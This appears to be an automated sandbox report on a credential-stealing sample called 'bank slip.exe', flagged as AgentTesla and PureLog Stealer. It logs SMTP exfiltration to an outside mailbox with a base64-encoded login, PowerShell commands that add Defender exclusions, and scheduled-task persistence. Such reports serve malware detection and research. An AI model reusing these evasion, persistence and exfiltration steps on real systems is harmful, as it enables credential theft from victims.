May 6, 2024 08:12:58.042079926 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:58.406256914 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:58.901988983 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:58.908174992 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.232139111 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.232198000 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.232470989 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.597167969 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.614502907 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.614799023 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.938651085 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.939052105 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:59.940510988 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.940556049 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.940577030 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:59.940592051 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:00.264338970 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:13:00.264421940 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:13:00.265676022 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:13:00.323122978 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:02.714610100 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:03.772931099 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:04.100557089 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:04.100651979 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:05.576138020 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:05.714042902 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:08.161076069 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:08.488931894 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:08.562442064 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:08.890682936 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:08.905874968 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:09.234807014 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:09.262145042 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:09.590131998 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:09.590356112 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:09.959328890 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:09.973557949 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:09.974714041 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:10.302071095 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:10.302313089 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:10.302989960 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:10.303039074 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:10.303065062 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:10.303075075 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:13:10.630368948 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:10.632023096 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:13:10.714117050 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:14:43.776997089 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:14:44.145536900 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:14:44.306164026 CEST	587	49712	111.118.215.27	192.168.2.5
May 6, 2024 08:14:44.306956053 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:14:44.307086945 CEST	49712	587	192.168.2.5	111.118.215.27
May 6, 2024 08:14:44.634711981 CEST	587	49712	111.118.215.27	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 08:12:55.142153978 CEST	60340	53	192.168.2.5	1.1.1.1
May 6, 2024 08:12:56.060425043 CEST	53	60340	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 6, 2024 08:12:55.142153978 CEST	192.168.2.5	1.1.1.1	0xd9c6	Standard query (0)	mail.vw-rmplcars.co.in	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 6, 2024 08:12:56.060425043 CEST	1.1.1.1	192.168.2.5	0xd9c6	No error (0)	mail.vw-rmplcars.co.in	vw-rmplcars.co.in		CNAME (Canonical name)	IN (0x0001)	false
May 6, 2024 08:12:56.060425043 CEST	1.1.1.1	192.168.2.5	0xd9c6	No error (0)	vw-rmplcars.co.in		111.118.215.27	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 6, 2024 08:12:57.302267075 CEST	587	49710	111.118.215.27	192.168.2.5	220-bh-in-12.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 06 May 2024 11:42:57 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 6, 2024 08:12:57.380064964 CEST	49710	587	192.168.2.5	111.118.215.27	EHLO 138727
May 6, 2024 08:12:57.704293966 CEST	587	49710	111.118.215.27	192.168.2.5	250-bh-in-12.webhostbox.net Hello 138727 [84.17.40.101] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 6, 2024 08:12:57.716609955 CEST	49710	587	192.168.2.5	111.118.215.27	AUTH login YWNjb3VudC5zd0B2dy1ybXBsY2Fycy5jby5pbg==
May 6, 2024 08:12:58.040970087 CEST	587	49710	111.118.215.27	192.168.2.5	334 UGFzc3dvcmQ6
May 6, 2024 08:12:58.901988983 CEST	587	49710	111.118.215.27	192.168.2.5	235 Authentication succeeded
May 6, 2024 08:12:58.908174992 CEST	49710	587	192.168.2.5	111.118.215.27	MAIL FROM:<account.sw@vw-rmplcars.co.in>
May 6, 2024 08:12:59.232198000 CEST	587	49710	111.118.215.27	192.168.2.5	250 OK
May 6, 2024 08:12:59.232470989 CEST	49710	587	192.168.2.5	111.118.215.27	RCPT TO:<express.store1@expressstore-ks.com>
May 6, 2024 08:12:59.614502907 CEST	587	49710	111.118.215.27	192.168.2.5	250 Accepted
May 6, 2024 08:12:59.614799023 CEST	49710	587	192.168.2.5	111.118.215.27	DATA
May 6, 2024 08:12:59.939052105 CEST	587	49710	111.118.215.27	192.168.2.5	354 Enter message, ending with "." on a line by itself
May 6, 2024 08:12:59.940592051 CEST	49710	587	192.168.2.5	111.118.215.27	.
May 6, 2024 08:13:00.265676022 CEST	587	49710	111.118.215.27	192.168.2.5	250 OK id=1s3rat-003Aqx-2U
May 6, 2024 08:13:05.576138020 CEST	587	49712	111.118.215.27	192.168.2.5	220-bh-in-12.webhostbox.net ESMTP Exim 4.96.2 #2 Mon, 06 May 2024 11:43:05 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 6, 2024 08:13:08.161076069 CEST	49712	587	192.168.2.5	111.118.215.27	EHLO 138727
May 6, 2024 08:13:08.488931894 CEST	587	49712	111.118.215.27	192.168.2.5	250-bh-in-12.webhostbox.net Hello 138727 [84.17.40.101] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 6, 2024 08:13:08.562442064 CEST	49712	587	192.168.2.5	111.118.215.27	AUTH login YWNjb3VudC5zd0B2dy1ybXBsY2Fycy5jby5pbg==
May 6, 2024 08:13:08.890682936 CEST	587	49712	111.118.215.27	192.168.2.5	334 UGFzc3dvcmQ6
May 6, 2024 08:13:09.234807014 CEST	587	49712	111.118.215.27	192.168.2.5	235 Authentication succeeded
May 6, 2024 08:13:09.262145042 CEST	49712	587	192.168.2.5	111.118.215.27	MAIL FROM:<account.sw@vw-rmplcars.co.in>
May 6, 2024 08:13:09.590131998 CEST	587	49712	111.118.215.27	192.168.2.5	250 OK
May 6, 2024 08:13:09.590356112 CEST	49712	587	192.168.2.5	111.118.215.27	RCPT TO:<express.store1@expressstore-ks.com>
May 6, 2024 08:13:09.973557949 CEST	587	49712	111.118.215.27	192.168.2.5	250 Accepted
May 6, 2024 08:13:09.974714041 CEST	49712	587	192.168.2.5	111.118.215.27	DATA
May 6, 2024 08:13:10.302313089 CEST	587	49712	111.118.215.27	192.168.2.5	354 Enter message, ending with "." on a line by itself
May 6, 2024 08:13:10.303075075 CEST	49712	587	192.168.2.5	111.118.215.27	.
May 6, 2024 08:13:10.632023096 CEST	587	49712	111.118.215.27	192.168.2.5	250 OK id=1s3rb4-003B0r-0Q
May 6, 2024 08:14:43.776997089 CEST	49712	587	192.168.2.5	111.118.215.27	QUIT
May 6, 2024 08:14:44.306164026 CEST	587	49712	111.118.215.27	192.168.2.5	221 bh-in-12.webhostbox.net closing connection

Target ID:	0
Start time:	08:12:48
Start date:	06/05/2024
Path:	C:\Users\user\Desktop\bank slip.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bank slip.exe"
Imagebase:	0x1b0000
File size:	745'480 bytes
MD5 hash:	64FF7F01E8A040DD0708D0D3C72A09F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2074900045.0000000006750000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2071630541.0000000002916000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:12:49
Start date:	06/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"
Imagebase:	0xd70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:12:50
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:12:50
Start date:	06/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"
Imagebase:	0xd70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:12:50
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:12:50
Start date:	06/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp"
Imagebase:	0x5f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:12:50
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:12:52
Start date:	06/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xcc0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2091471993.0000000003042000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:12:55
Start date:	06/05/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:12:57
Start date:	06/05/2024
Path:	C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
Imagebase:	0xc10000
File size:	745'480 bytes
MD5 hash:	64FF7F01E8A040DD0708D0D3C72A09F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2121255868.0000000003356000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:12:59
Start date:	06/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp"
Imagebase:	0x5f0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:12:59
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:12:59
Start date:	06/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xd70000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3246056841.0000000003092000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:13:07
Start date:	06/05/2024
Path:	C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe"
Imagebase:	0xec0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:13:07
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:13:16
Start date:	06/05/2024
Path:	C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe"
Imagebase:	0xb0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:13:16
Start date:	06/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	147
Total number of Limit Nodes:	9

Executed Functions

Function 04BA7C98 Relevance: 20.4, Strings: 15, Instructions: 1621
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 04BA875E
d, xrefs: 04BA91FF
(, xrefs: 04BA8204
0, xrefs: 04BA832C
., xrefs: 04BA8BA3
(, xrefs: 04BA81FD
-, xrefs: 04BA8612
., xrefs: 04BA89DA
-, xrefs: 04BA8930
., xrefs: 04BA8698
., xrefs: 04BA8C36
., xrefs: 04BA8ADA
-, xrefs: 04BA8E71
r, xrefs: 04BA8608
-, xrefs: 04BA8D60

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID:
String ID: ($($-$-$-$-$.$.$.$.$.$.$0$d$r
API String ID: 0-3407198415
Opcode ID: 3b72f0491fa1c29c8a1424ddb71e3ed5be63a31a1783d9dbfde8005aca8466b9
Instruction ID: 5c67a05685036d68e3a459a765eb9b05aaff58613f7f0e6b8c8c6db91aaedefb
Opcode Fuzzy Hash: 3b72f0491fa1c29c8a1424ddb71e3ed5be63a31a1783d9dbfde8005aca8466b9
Instruction Fuzzy Hash: B403F334A142158FDB15DF28C894BD9B7B2FF89304F1585E9E909AB361DB31AE85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 04BA7C70 Relevance: 20.1, Strings: 15, Instructions: 1375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 04BA875E
d, xrefs: 04BA91FF
(, xrefs: 04BA8204
0, xrefs: 04BA832C
., xrefs: 04BA8BA3
(, xrefs: 04BA81FD
-, xrefs: 04BA8612
., xrefs: 04BA89DA
-, xrefs: 04BA8930
., xrefs: 04BA8698
., xrefs: 04BA8C36
., xrefs: 04BA8ADA
-, xrefs: 04BA8E71
r, xrefs: 04BA8608
-, xrefs: 04BA8D60

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ba0000_bank slip.jbxd

Similarity

API ID:
String ID: ($($-$-$-$-$.$.$.$.$.$.$0$d$r
API String ID: 0-3407198415
Opcode ID: 758df12ca34f4340bda63c25c48016aa0cbcc968ced645a0b50d3d2f79dce8eb
Instruction ID: b1d3c7f40b758c37d031331eb3a04cdc0cba50bdd4da04f36f1d115aa614b846
Opcode Fuzzy Hash: 758df12ca34f4340bda63c25c48016aa0cbcc968ced645a0b50d3d2f79dce8eb
Instruction Fuzzy Hash: 69E2D534A14219CFDB15DF28C894AD9B7B2FF89304F5585E9E909AB361DB31AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06A147B8 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075096399.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6175217b100708d097b9791f6139bca4ca46ed447a81a223019b14e2966caf0f
Instruction ID: 64a95439a6da17432dc8b7799ce270b0b3c928e7120bd6f3ec997ee4fe93f360
Opcode Fuzzy Hash: 6175217b100708d097b9791f6139bca4ca46ed447a81a223019b14e2966caf0f
Instruction Fuzzy Hash: 01C19A70B016058FEB99EB79C960B6EB7E6EFC9700F144469D156CF290CB34E901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06A10125 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075096399.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5aac4fa7def37e708f54016b694b9e1309f0b1d49809bcac66e9c04408b28f9
Instruction ID: 2bc4201d1b209c51843deed1c28f9131d747e3db2a5a91e928f937cb3134f6c9
Opcode Fuzzy Hash: a5aac4fa7def37e708f54016b694b9e1309f0b1d49809bcac66e9c04408b28f9
Instruction Fuzzy Hash: 47F0F934C09388CFDB10DFA4E08469CBFB0AF06315F21949AD51AAF141CBB559C98B21

Uniqueness

Uniqueness Score: -1.00%

Function 06A13556 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075096399.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_bank slip.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e16432b2bc50289725f388e692c9e961822e1309a8eae2b23ad88dd252fdbcd
Instruction ID: e50c19ef4369c159cffc9273d8a46532794ca0aaf8e3f8ff6f636cbc016f3be8
Opcode Fuzzy Hash: 4e16432b2bc50289725f388e692c9e961822e1309a8eae2b23ad88dd252fdbcd
Instruction Fuzzy Hash: FED0627484D355CFEB51DF50E4845F5BBB9AB0E311F006095D50EDB211D7319585CE94

Uniqueness

Uniqueness Score: -1.00%

Function 068AFC30 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 068AFE66

Memory Dump Source

Source File: 00000000.00000002.2075061318.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68a0000_bank slip.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0ddd8900f4be7d2e0ad59596a6b834118b4d1ecf4ddcc800a588bcd26141e2d5
Instruction ID: ff8f5f567eb0bfc5dee6a0950c3aaee1fed89beda1291420fa4c91dab571d2aa
Opcode Fuzzy Hash: 0ddd8900f4be7d2e0ad59596a6b834118b4d1ecf4ddcc800a588bcd26141e2d5
Instruction Fuzzy Hash: FB915971D003198FEB61DF69C841BEEBBB2BF49310F1485A9E909E7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0259B700 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0259B966

Memory Dump Source

Source File: 00000000.00000002.2071572614.0000000002590000.00000040.00000800.00020000.00000000.sdmp, Offset: 02590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2590000_bank slip.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 12885ac9975fe04367bd886587da835d899934b4ab7d995e0b8cc0fa3d48f4b1
Instruction ID: 7f1583112e89df05e04973f3eb264b12f10cc8ef2c2de26ba74788c102673762
Opcode Fuzzy Hash: 12885ac9975fe04367bd886587da835d899934b4ab7d995e0b8cc0fa3d48f4b1
Instruction Fuzzy Hash: 2B8148B0A00B058FEB24DF29D44475ABBF2FF88314F108A2DD48ADBA50D735E949CB95

Uniqueness

Uniqueness Score: -1.00%

Function 04BA016A Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04BA22E2

Memory Dump Source

Source File: 00000000.00000002.2074216014.0000000004BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BA0000, based on PE: false

Joe Sandbox IDA Plugin

